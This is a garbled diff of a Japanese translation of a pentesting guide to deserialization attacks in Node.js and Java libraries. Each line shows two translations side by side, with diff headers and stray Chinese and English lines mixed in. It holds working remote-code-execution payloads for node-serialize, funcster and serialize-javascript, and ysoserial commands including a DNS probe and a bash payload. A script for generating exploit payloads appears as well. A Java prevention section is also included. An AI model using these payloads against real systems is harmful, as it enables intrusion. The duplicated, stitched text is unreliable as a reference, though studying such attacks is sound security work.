### Japanese Translation: 前述のように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、`eval`を使用して**実行します**。したがって、**コードを自動実行する**ためには、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
如前所述,このライブラリは`_$$ND_FUNC$$_`の後にコードを取得し、`eval`を使用して**実行**します。したがって、**コードを自動実行**するためには、関数作成部分と最後の括弧を削除し、次の例のように**JSのワンライナーを実行**するだけです:
```javascript ```javascript
var serialize = require('node-serialize'); var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test); serialize.unserialize(test);
``` ```
以下は、この脆弱性を悪用する方法に関する詳細情報を[**こちらで**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **見つけることができます** You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **この脆弱性を悪用する方法に関するさらなる情報**.
### [funcster](https://www.npmjs.com/package/funcster) ### [funcster](https://www.npmjs.com/package/funcster)
**funcster**の注目すべき側面は、**標準組込オブジェクトにアクセスできない**ことです。これらはアクセス可能な範囲外にあります。この制限により、組込オブジェクト上のメソッドを呼び出そうとするコードの実行が阻止され、`"ReferenceError: console is not defined"`のような例外が発生します。例えば、`console.log()`や`require(something)`などのコマンドを使用した場合です。 **funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
この制限にもかかわらず、特定のアプローチを使用することで、グローバルコンテキストへの完全なアクセス、つまりすべての標準組込オブジェクトへのアクセスを復元することが可能です。グローバルコンテキストを直接活用することで、この制限をバイパスすることができます。たとえば、以下のスニペットを使用してアクセスを再確立することができます。 この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
```javascript ```javascript
funcster = require("funcster"); funcster = require("funcster");
//Serialization //Serialization
@ -275,17 +276,17 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3) funcster.deepDeserialize(desertest3)
``` ```
**詳細については、[このソースを読んでください](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)** **詳細については、[このソースを読んでください](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** パッケージは、シリアル化のためだけに設計されており、組み込みの逆シリアル化機能を持っていません。ユーザーは、自分自身の逆シリアル化メソッドを実装する責任があります。直列化されたデータを逆シリアル化するための公式の例では、`eval` の直接的な使用が提案されています。 **serialize-javascript**パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、`eval`の直接使用が推奨されています:
```javascript ```javascript
function deserialize(serializedJavascript){ function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')'); return eval('(' + serializedJavascript + ')');
} }
``` ```
この関数を使用してオブジェクトをデシリアライズすると、それを簡単に悪用できます。 この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**
```javascript ```javascript
var serialize = require('serialize-javascript'); var serialize = require('serialize-javascript');
//Serialization //Serialization
@ -296,90 +297,90 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test) deserialize(test)
``` ```
**詳細については、[このソースを読んでください](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)** **詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryoライブラリ ### Cryoライブラリ
このライブラリを悪用して任意のコマンドを実行する方法についての情報は、以下のページで見つけることができます: 以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP ## Java - HTTP
Javaでは、**逆シリアル化コールバックは逆シリアル化のプロセス中に実行されます**。この実行は、悪意のあるペイロードを作成し、これらのコールバックをトリガーすることで悪意のあるアクションの実行が可能になる攻撃者によって悪用される可能性があります。 Javaでは、**デシリアライズコールバックはデシリアライズのプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。
### フィンガープリント ### フィンガープリント
#### ホワイトボックス #### ホワイトボックス
コードベース内の潜在的なシリアル化の脆弱性を特定するには、以下を検索します コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください
* `Serializable` インターフェースを実装するクラス。 * `Serializable`インターフェースを実装しているクラス。
* `java.io.ObjectInputStream`、`readObject`、`readUnshare` 関数の使用。 * `java.io.ObjectInputStream`、`readObject`、`readUnshare`関数の使用。
特に注意べき点: 特に注意を払うべき点:
* 外部ユーザーによって定義されたパラメーターを使用する `XMLDecoder` * 外部ユーザーによって定義されたパラメータで使用される`XMLDecoder`
* 特にXStreamのバージョンが1.46以下の場合、`XStream`の `fromXML` メソッド。これはシリアル化の問題に対して脆弱です。 * `XStream`の`fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。
* `ObjectInputStream` `readObject` メソッドの組み合わせ。 * `ObjectInputStream`と`readObject`メソッドの組み合わせ。
* `readObject`、`readObjectNodData`、`readResolve`、または `readExternal` などのメソッドの実装。 * `readObject`、`readObjectNodData`、`readResolve`、または`readExternal`のようなメソッドの実装。
* `ObjectInputStream.readUnshared` * `ObjectInputStream.readUnshared`
* `Serializable` の一般的な使用。 * `Serializable`の一般的な使用。
#### ブラックボックス #### ブラックボックス
ブラックボックステストでは、`ObjectInputStream` から派生したJavaシリアル化オブジェクトを示す特定の **シグネチャまたは "マジックバイト"** を探します ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(`ObjectInputStream`から発生)
* 16進パターン:`AC ED 00 05`。 * 16進パターン`AC ED 00 05`。
* Base64パターン`rO0`。 * Base64パターン`rO0`。
* `Content-type` `application/x-java-serialized-object` に設定されたHTTPレスポンスヘッダー。 * `Content-type`が`application/x-java-serialized-object`に設定されたHTTPレスポンスヘッダー。
* 圧縮を示す16進パターン:`1F 8B 08 00`。 * 以前の圧縮を示す16進パターン`1F 8B 08 00`。
* 圧縮を示すBase64パターン`H4sIA`。 * 以前の圧縮を示すBase64パターン`H4sIA`。
* `.faces` 拡張子と `faces.ViewState` パラメーターを持つWebファイル。これらのパターンをWebアプリケーションで発見した場合は、[Java JSF ViewState Deserializationに関する投稿](java-jsf-viewstate-.faces-deserialization.md)の詳細な調査を促すべきです。 * `.faces`拡張子を持つWebファイルと`faces.ViewState`パラメータ。これらのパターンをWebアプリケーションで発見した場合、[Java JSF ViewStateデシリアライズに関する投稿](java-jsf-viewstate-.faces-deserialization.md)に詳述されているように調査を促すべきです。
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
### 脆弱性があるかどうかを確認する ### 脆弱性の確認
**Java Deserialized exploitの動作原理を学びたい**場合は、[**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)を参照してください。 **Javaのデシリアライズ攻撃がどのように機能するかを学びたい**場合は、[**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)を確認してください。
#### ホワイトボックステスト #### ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされていないかを確認できます。 既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
```bash ```bash
find . -iname "*commons*collection*" find . -iname "*commons*collection*"
grep -R InvokeTransformer . grep -R InvokeTransformer .
``` ```
あなたは**脆弱**であると知られているすべてのライブラリをチェックして、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるものを確認することができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)で示されているライブラリをチェックすることもできます。\ あなたは、**脆弱性が知られているすべてのライブラリを確認**し、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
また、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、悪用できる可能性のあるガジェットチェーンを検索することができます。\ [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
**gadgetinspector**を実行する際(ビルド後)、通過する警告/エラーの数には気にせず、完了させてください。すべての調査結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、誤検知を示す可能性があります**。 **gadgetinspector**を実行する際(ビルド後)は、発生する大量の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
#### ブラックボックステスト #### ブラックボックステスト
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**使用可能なライブラリ(バージョンも含む)を特定**できます。この情報を使用すると、脆弱性を悪用するためのペイロードを選択するのが**簡単になる**かもしれません。\ Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\
[GadgetProbeについて詳しくはこちらを読んでください](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\ [**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
GadgetProbeは**`ObjectInputStream`の逆シリアル化**に焦点を当てています。 GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、ysoserialで悪用可能な**脆弱なライブラリを特定**し、**悪用**することができます。\ Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**それらをエクスプロイト**できます。\
[Java Deserialization Scannerについて詳しくはこちらを読んでください](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ [**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scannerは**`ObjectInputStream`**の逆シリアル化に焦点を当てています。 Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
また、[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**逆シリアル化**脆弱性を検出することができます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**逆シリアル化ライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。\ [**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。\
[Freddyに関する詳細情報はこちらで確認できます](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) [**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**シリアル化テスト** **シリアライズテスト**
サーバーで使用されている脆弱なライブラリをチェックするだけでなく、シリアル化オブジェクト内のデータを変更して一部のチェックをバイパスできるかもしれませんたとえば、Webアプリ内で管理者権限を付与できるかもしれません)。\ サーバーが使用している脆弱なライブラリを確認することだけが全てではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。\
Webアプリケーションに送信されるJavaシリアル化オブジェクトを見つけた場合、[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアル化オブジェクトをより人間が読みやすい形式で表示できます。送信しているデータがわかると、それを変更して一部のチェックをバイパスするのが簡単になります。 ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
### **エクスプロイト** ### **エクスプロイト**
#### **ysoserial** #### **ysoserial**
Java逆シリアル化を悪用するための主要ツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。複雑なコマンド(たとえば、パイプを使用する)を使用できるようにする[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)を検討することもできます。\ Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
このツールは**`ObjectInputStream`**の悪用に焦点を当てています。\ このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
インジェクションが可能かどうかをテストするために、**RCE**ペイロードの前に**「URLDNS」**ペイロードを使用することをお勧めします。とにかく、「URLDNS」ペイロードが機能しないかもしれませんが、他のRCEペイロードは機能するかもしれません **RCE**ペイロードの前に**「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください
```bash ```bash
# PoC to make the application perform a DNS req # PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -424,9 +425,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64 # Base64 encode payload in base64
base64 -w0 payload base64 -w0 payload
``` ```
**java.lang.Runtime.exec()** のペイロードを作成する際には、出力をリダイレクトするための ">" や "|" のような特殊文字、コマンドを実行するための "$()"、コマンドにスペースで区切られた引数を渡すことはできません(`echo -n "hello world"` はできますが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用できます。 When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
次のスクリプトを使用して、Windows Linux **すべての可能なコード実行** ペイロードを作成し、その脆弱なウェブページでテストしてください 次のスクリプトを使用して、WindowsとLinuxの**すべての可能なコード実行**ペイロードを作成し、脆弱なウェブページでテストしてください:
```python ```python
import os import os
import base64 import base64
@ -447,14 +448,14 @@ open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
``` ```
#### シリアルキラーバイパスガジェット #### serialkillerbypassgadgets
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **を使用して、ysoserialと組み合わせてより多くのエクスプロイトを作成できます**。このツールに関する詳細は、ツールが発表された**スライド**で確認できます: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) あなたは **https://github.com/pwntester/SerialKillerBypassGadgetCollection****ysoserial** と一緒に使用して、より多くのエクスプロイトを作成することができます。 このツールに関する詳細は、ツールが発表された **トークのスライド** にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec #### marshalsec
[**marshalsec**](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアライゼーションライブラリを悪用するペイロードを生成するために使用できます。\ [**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる **Json** および **Yml** シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加する必要がありました**: プロジェクトをコンパイルするために、私は `pom.xml` にこの **依存関係** **追加** する必要がありました:
```markup ```markup
<dependency> <dependency>
<groupId>javax.activation</groupId> <groupId>javax.activation</groupId>
@ -469,57 +470,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
<type>pom</type> <type>pom</type>
</dependency> </dependency>
``` ```
**Mavenをインストール**し、プロジェクトを**コンパイル**してください: **Mavenをインストール**し、**プロジェクトをコンパイル**します:
```bash ```bash
sudo apt-get install maven sudo apt-get install maven
mvn clean package -DskipTests mvn clean package -DskipTests
``` ```
#### FastJSON #### FastJSON
このJava JSONライブラリについて詳しくはこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) このJava JSONライブラリについての詳細は、こちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs ### Labs
* いくつかのysoserialペイロードをテストしたい場合は、**このWebアプリ**を実行できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行できます**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Why ### Why
Javaはさまざまな目的でシリアル化を多用しています: Javaは、さまざまな目的で多くのシリアル化を使用します。例えば:
* **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーの管理などで広く利用されています。 * **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
* **RMI (Remote Method Invocation)**: シリアル化に完全に依存するJava RMIプロトコルは、Javaアプリケーションのリモート通信の基盤です。 * **RMI (リモートメソッド呼び出し)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
* **RMI over HTTP**: この方法は、シリアル化を利用してすべてのオブジェクト通信を行うJavaベースの厚いクライアントWebアプリケーションで一般的に使用されています。 * **HTTP経由のRMI**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによく使用され、すべてのオブジェクト通信にシリアル化を利用します。
* **JMX (Java Management Extensions)**: JMXはネットワークを介してオブジェクトを転送するためにシリアル化を利用しています。 * **JMX (Java管理拡張)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
* **カスタムプロトコル**: Javaでは、標準的な方法として、今後のエクスプロイト例でデモンストレーションされるように、生のJavaオブジェクトの転送が行われます。 * **カスタムプロトコル**: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
### Prevention ### Prevention
#### 一時的なオブジェクト #### Transient objects
`Serializable`を実装するクラスは、シリアル化されてはいけないクラス内のオブジェクトを`transient`として実装できます。例: `Serializable`を実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトを`transient`として実装できます。例えば:
```java ```java
public class myAccount implements Serializable public class myAccount implements Serializable
{ {
private transient double profit; // declared transient private transient double profit; // declared transient
private transient double margin; // declared transient private transient double margin; // declared transient
``` ```
#### `Serializable`を実装する必要があるクラスのシリアライズを避ける #### Serializableを実装する必要があるクラスのシリアル化を避ける
特定の**オブジェクトがクラス階層のために`Serializable`インターフェースを実装する必要がある**シナリオでは、意図しない逆シリアル化のリスクがあります。これを防ぐために、以下に示すように例外を一貫してスローする`final` `readObject()`メソッドを定義することで、これらのオブジェクトが逆シリアル化できないようにしてください。 特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final`な`readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
```java ```java
private final void readObject(ObjectInputStream in) throws java.io.IOException { private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); throw new java.io.IOException("Cannot be deserialized");
} }
``` ```
#### **Javaにおける逆シリアル化セキュリティの強化** #### **Javaにおけるデシリアライズセキュリティの強化**
`java.io.ObjectInputStream`をカスタマイズすることは、逆シリアル化プロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています: **`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています
* 逆シリアル化コードがあなたの管理下にある場合 * デシリアライズコードがあなたの管理下にある
* 逆シリアル化に必要なクラスが既知の場合 * デシリアライズのために期待されるクラスが知られている
**`resolveClass()`** メソッドをオーバーライドして、許可されたクラスに対して逆シリアル化を制限します。これにより、`Bicycle`クラスのように明示的に許可されたクラス以外のクラスの逆シリアル化を防ぎます。 **`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例のように、デシリアライズを`Bicycle`クラスのみに制限します:
```java ```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream { public class LookAheadObjectInputStream extends ObjectInputStream {
@ -540,17 +541,17 @@ return super.resolveClass(desc);
} }
} }
``` ```
**セキュリティ強化のためのJavaエージェントの使用**は、コードの変更が不可能な場合のフォールバックソリューションを提供します。この方法は、主に**有害なクラスをブラックリスト化**するためにJVMパラメータを使用します **セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
デシリアライゼーションを動的にセキュアにする方法を提供し、即座のコード変更が実用的でない環境に最適です。 動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) で例を確認してください。 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)でのチェックと
**シリアライゼーションフィルターの実装**: Java 9 **`ObjectInputFilter`** インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たす必要がある基準を指定する強力なメカニズムが提供されます。これらのフィルターはグローバルに適用するか、ストリームごとに適用することができ、デシリアライズプロセスに対する細かい制御を提供します。 **シリアライゼーションフィルターの実装**: Java 9は**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターを導入し、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに動的に構成することができます。例: シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
```java ```java
ObjectInputFilter filter = info -> { ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -562,41 +563,41 @@ return Status.ALLOWED;
}; };
ObjectInputFilter.Config.setSerialFilter(filter); ObjectInputFilter.Config.setSerialFilter(filter);
``` ```
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、**Kryo**などのライブラリは、Javaの逆シリアル化を制御および監視するための高度な機能を提供します。これらのライブラリは、ホワイトリストやブラックリストのクラス、逆シリアル化前のシリアル化されたオブジェクトの分析、カスタムシリアル化戦略の実装など、追加のセキュリティレイヤーを提供できます。 **外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、デシリアライズ前にシリアライズされたオブジェクトを分析したり、クラスのホワイトリストやブラックリストを作成したり、カスタムシリアライズ戦略を実装したりするなど、追加のセキュリティ層を提供できます。
* **NotSoSerial** は、信頼されていないコードの実行を防ぐために逆シリアル化プロセスをインターセプトします。 * **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。
* **jdeserialize** は、逆シリアル化せずにシリアル化されたJavaオブジェクトの分析を可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。 * **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析でき、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
* **Kryo** は、速度と効率を重視した代替シリアル化フレームワークであり、セキュリティを強化できる構成可能なシリアル化戦略を提供します。 * **Kryo**は、スピードと効率を重視した代替シリアライズフレームワークで、セキュリティを強化できる構成可能なシリアライズ戦略を提供します。
### 参考文献 ### 参考文献
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
